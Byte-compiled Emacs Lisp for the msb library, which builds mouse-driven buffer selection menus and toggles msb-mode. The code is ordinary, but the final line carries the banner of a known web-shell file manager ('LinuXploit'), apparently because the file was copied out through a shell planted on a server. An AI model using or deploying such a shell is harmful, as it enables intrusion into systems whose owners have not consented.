#@41 Select the appropriate menu for BUFFER.
(defalias 'msb--choose-menu #[(buffer function-info-vector max-buffer-name-length) "?\205\306	!?\205\264\3071\240r	q\210\n\310\211\211\n\311\310\211T\211GW\203jH\312\313H!\211\203`
\314=\203Q\f\204`
\315=\203Y\316B
\203(
\315=\204(\237,\211\204{
\204{\317\320!\210,\310\211\205\235@\321	#\210A\211\204\206\310+0\207\210?\205\264\322\323\324	!\"\317\325\"\207" [msb-display-invisible-buffers-p buffer function-info-vector function-info-list multi-flag result msb-invisible-buffer-p (error) nil -1 eval 1 no-multi multi t error "No catch-all in msb-menu-cond!" msb--add-to-menu format-message "In msb-menu-cond, error for buffer `%s'." buffer-name "%s" #1=#:--cl-vec-- #2=#:--cl-idx-- fi #3=#:--cl-var-- info --dolist-tail-- max-buffer-name-length msb--error] 5 (#$ . 16202)])
(put 'msb--choose-menu 'byte-optimizer 'byte-compile-inline-expand)
#@75 Return (SORT-KEY TITLE . BUFFER-LIST) or nil if the buffer-list is empty.
(defalias 'msb--create-sort-item #[(function-info) "\304\305H!\211\2058\306H\307H\n\2057\n\310\311H	G\"\204&	\2025\312=\2031	\237\2025\313	\"BB*)\207" [function-info buffer-list sort-key sorter eval 0 5 2 format 3 t sort] 6 (#$ . 17168)])
#@454 Return ALIST as a sorted, aggregated alist.

In the result all items with the same car element (according to
SAME-PREDICATE) are aggregated together.  The alist is first sorted by
SORT-PREDICATE.

Example:
(msb--aggregate-alist
 \='((a . a1) (a . a2) (b . b1) (c . c3) (a . a4) (a . a3) (b . b3) (b . b2))
 (function string=)
 (lambda (item1 item2)
   (string< (symbol-name item1) (symbol-name item2))))
results in
((a a1 a2 a4 a3) (b b1 b3 b2) (c c3))
(defalias 'msb--aggregate-alist #[(alist same-predicate sort-predicate) "??\205!\306\211\211\307\306\310\311\312\313\314\315\"\"\"	
\237BC\244-\207" [alist old-car first-time-p tmp-same tmp-old-car same nil t apply nconc mapcar #[(item) "\203	A\nB\306	@\306\207\f	@\"\203	A\nB\306\207\n	AC	@
\237BC\207" [first-time-p item same old-car same-predicate tmp-same nil tmp-old-car] 3] sort #[(item1 item2) "	@\n@\"\207" [sort-predicate item1 item2] 3]] 7 (#$ . 17504)])
(defalias 'msb--mode-menu-cond #[nil "\306\307\310\311\312 A\311\211\2037\f@rq\210\313 \204/
\n\236\204/
\314\311\211$B\nB)\fA\211\204*\n)\315\"\")\207" [msb-modes-key key mode-list buffer --dolist-tail-- major-mode mapcar #[(item) "T\302\303\304	@DE	A\305PE\207" [key item eq major-mode quote " (%d)"] 4] sort nil buffer-list msb-invisible-buffer-p format-mode-line #[(item1 item2) "A	A\231\207" [item1 item2] 2] mode-name] 10])
#@97 Return a list for the most recently used buffers.
It takes the form ((TITLE . BUFFER-LIST)...).
(defalias 'msb--most-recently-used-menu #[(max-buffer-name-length) "\247\205q\306V\205q\307 A\306	\310\211:\203R@r\fq\210\311 ?\205.\312=?)\203Er\fq\210\f\"\f)B
B\nT\nY\204RA\211\202
\237,;\203g\313G\"\202m\314\315C\"*B\207" [msb-display-most-recently-used buffers n #1=#:--cl-var-- buffer #2=#:--cl-var-- 0 buffer-list nil msb-invisible-buffer-p dired-mode format signal wrong-type-argument major-mode msb-item-handling-function max-buffer-name-length most-recently-used msb-most-recently-used-title] 4 (#$ . 18906)])
(defalias 'msb--create-buffer-menu-2 #[nil "\306\307\211\310 \307\211\203)\f@
\204\311 \204\"\n\312!G]\fA\211\204*\313\314\315\316\317/\320 \"\"\"\310 \307\211\203\"\f@0\203U\321!\203U	B\202\n
?\205c\311!?\205\3221rq\210\307\211\2111234\3235\307\211675T\21154GW\203\31745H6\3246\325H!\2113\203\3033\326=\203\2622\204\3033\327=\203\274\330267B73\203\2063\327=\204\2067\237,\2111\204\3423\204\342\331\332!\2101,\3078\211\205\f@8\3338\n#\210\fA\211\204\355\307+0\202\2109?\205\334\335\312!\"9\331\3369\"+\210\fA\211\204@*	\203.\315\337\340	!\"\307:\341\n!;	<\323=\307\211>?\307@=T\211=<GW\203n<=H>\342>!\211?\203F?@B@\202F@\237-\244A\315\343\344\345;A\203\212B;BAB\202\214A\346\"!\":\317\347\350:!C\205\241\351\352DC\3530\203\253\354\202\254\355\356BBC$.\207" [function-info-vector file-buffers max-buffer-name-length buffer --dolist-tail-- msb-display-invisible-buffers-p 0 nil buffer-list msb-invisible-buffer-p buffer-name apply vector mapcar msb--create-function-info append msb--mode-menu-cond buffer-file-name (error) -1 eval 1 no-multi multi t error "No catch-all in msb-menu-cond!" msb--add-to-menu format-message "In msb-menu-cond, error for buffer `%s'." "%s" #[(buffer-list) "	@\302\303\304	A\"\305\"BB\207" [msb-files-by-directory-sort-key buffer-list sort mapcar #[(buffer) "rq\210	\n\")B\207" [buffer msb-item-handling-function max-buffer-name-length] 3] #[(item1 item2) "@	@\231\207" [item1 item2] 2]] 6] msb--choose-file-menu msb--most-recently-used-menu msb--create-sort-item cdr msb--add-separators sort #[(elt1 elt2) "@	@W\207" [elt1 elt2] 2] (keymap "Select Buffer") msb--make-keymap-menu separator "--" toggle "*Files by type*" "*Files by directory*" msb--toggle-menu-type msb-menu-cond msb-files-by-directory function-info-list multi-flag result #1=#:--cl-vec-- #2=#:--cl-idx-- fi #3=#:--cl-var-- info msb--error menu most-recently-used #4=#:--cl-vec-- #5=#:--cl-idx-- elt value #6=#:--cl-var-- others msb-most-recently-used-sort-key msb-separator-diff] 8])
(defalias 'msb--create-buffer-menu #[nil "\301 \302\216\212\303 +\207" [save-match-data-internal match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] msb--create-buffer-menu-2] 1])
#@63 Multi-purpose function for selecting a buffer with the mouse.
(defalias 'msb--toggle-menu-type #[nil "?\301\302!\207" [msb-files-by-directory msb-menu-bar-update-buffers t] 2 (#$ . 21913) nil])
#@215 Pop up several menus of buffers, for selection with the mouse.
Returns the selected buffer or nil if no buffer is selected.

The way the buffers are split is conveniently handled with the
variable `msb-menu-cond'.
(defalias 'mouse-select-buffer #[(event) "\204	\203\306\307!\203\307 \203\310\311 \n\310\306\312!\203U\306\313!\203U\314\n!\3158\262@\314\n!\3158\262A\314\n!\211@\262\211 Z\211D
D+\316\f	\"\211@\317=\203j\320 \210\321\n!\202\254@\247\203\203A\204\203@	\236AA\321\n!)\202\254@\247\203\220A\211\202\204@;\203\240A\204\240@\202\254\204\250\202\254\322\323\"*\207" [msb--error msb--last-buffer-menu event choice position posWind fboundp frame-or-buffer-changed-p nil msb--create-buffer-menu posn-x-y posn-window event-start 2 x-popup-menu toggle msb--toggle-menu-type mouse-select-buffer error "Unknown form for buffer: %s" posY posX msb-horizontal-shift-function] 5 (#$ . 22116)])
(defalias 'msb--add-separators #[(sorted-list) "\203	\247\204	\207\303\304\305\306\307	\"\")\207" [msb-separator-diff sorted-list last-key nil apply nconc mapcar #[(item) "\203	\203\n@	ZV\203\n@\211\303B\nD\207\n@\nC\207" [msb-separator-diff last-key item separator] 3]] 5])
(defalias 'msb--split-menus-2 #[(list mcount result) "G	V\203@\306\307\211\211	W\203\"\211A\242\nB\fT\211\202\n\237\211@@\310P
\311F\n\244B+\312
T#\207\204G\207\307@@\310P
\311F\244B)\237\207" [list msb-max-menu-items tmp-list sub-name count mcount 0 nil "..." keymap msb--split-menus-2 result] 5])
(defalias 'msb--split-menus #[(list) "\250\203\302V\203\303	\302\304#\207	\207" [msb-max-menu-items list 0 msb--split-menus-2 nil] 4])
(defalias 'msb--make-keymap-menu #[(raw-menu) "\303\304\305\306\n\"*\207" [mcount end raw-menu menu-bar-select-buffer 0 mapcar #[(sub-menu) "\303=\203\n\303\304D\207\305\306A\"\nT\211@\307@F\310	!\244)\207" [sub-menu buffers mcount separator "--" mapcar #[(item) "\302A!@	BB\207" [item end buffer-name] 3] keymap msb--split-menus] 4]] 3])
#@52 A re-written version of `menu-bar-update-buffers'.
(defalias 'msb-menu-bar-update-buffers #[(&optional arg) "\306\307 \310\"\205w\311\312!\203\312 \204\205w\313 \314\211\315 \211AA\203[G\316\317
\"\250\203M\320V\203M
V\203M\233\314\241\210\321\322F\323\324\"\244*\n\203t	\203t\325	\205m\326E\nA\244\202u\n\241+\207" [arg frames-menu buffers-menu frames msb--last-buffer-menu frame-length lookup-key current-global-map [menu-bar buffer] fboundp frame-or-buffer-changed-p frame-list nil msb--create-buffer-menu format "Frames (%d)" 1 frame keymap mapcar #[(frame) "\301\302\"\301\302\"D\303\304\305\306DF\244\207" [frame frame-parameter name lambda nil (interactive) menu-bar-select-frame] 6] "Buffers and Frames" (separator "--") f-title msb-max-menu-items global-buffers-menu-map msb-separator-diff] 5 (#$ . 24192)])
(defvar msb-mode-map (byte-code "\301\302!\303\304\305#\210)\207" [map make-sparse-keymap "Msb" define-key [remap mouse-buffer-menu] msb] 4))
#@245 Non-nil if Msb mode is enabled.
See the `msb-mode' command
for a description of this minor mode.
Setting this variable directly does not take effect;
either customize it (see the info node `Easy Customization')
or call the function `msb-mode'.
(custom-declare-variable 'msb-mode nil '(#$ . 25208) :set 'custom-set-minor-mode :initialize 'custom-initialize-default :group 'msb :type 'boolean)
#@374 Toggle Msb mode.

If called interactively, enable Msb mode if ARG is positive, and
disable it if ARG is zero or negative.  If called from Lisp, also
enable the mode if ARG is omitted or nil, and toggle it if ARG is
`toggle'; disable the mode otherwise.

This mode overrides the binding(s) of `mouse-buffer-menu' to provide a
different buffer menu using the function `msb'.
(defalias 'msb-mode #[(&optional arg) "\304 \305\302	\306=\203\307\302!?\202\310	!\311V\"\210\n\203.\312\313\314\"\210\315\313\316\"\210\314\317!\210\202<\315\313\314\"\210\312\313\316\"\210\316\317!\210\320\321\307\302!\203H\322\202I\323\"\210\324\325!\203t\326\302!\210\304 \203a\304 \232\203t\327\330\331\307\302!\203o\332\202p\333#\210))\334 \210\307\302!\207" [#1=#:last-message arg msb-mode local current-message set-default toggle default-value prefix-numeric-value 0 add-hook menu-bar-update-hook msb-menu-bar-update-buffers remove-hook menu-bar-update-buffers t run-hooks msb-mode-hook msb-mode-on-hook msb-mode-off-hook called-interactively-p any customize-mark-as-set "" message "Msb mode %sabled%s" "en" "dis" force-mode-line-update] 4 (#$ . 25607) (list (or current-prefix-arg 'toggle))])
(defvar msb-mode-hook nil)
(byte-code "\301\302N\204\f\303\301\302\304#\210\305\306\307\310\300!\205\307\211%\207" [msb-mode-map msb-mode-hook variable-documentation put "Hook run after entering or leaving `msb-mode'.\nNo problems result if this variable is not bound.\n`add-hook' automatically binds it.  (This is true for all hook variables.)" add-minor-mode msb-mode nil boundp] 6)
#@25 Unload the Msb library.
(defalias 'msb-unload-function #[nil "\300\301!\210\302\207" [msb-mode -1 nil] 2 (#$ . 27194)])
(byte-code "\300\301!\210\302\303!\207" [provide msb run-hooks msb-after-load-hook] 2)

Youez - 2016 - github.com/yon3zu
LinuXploit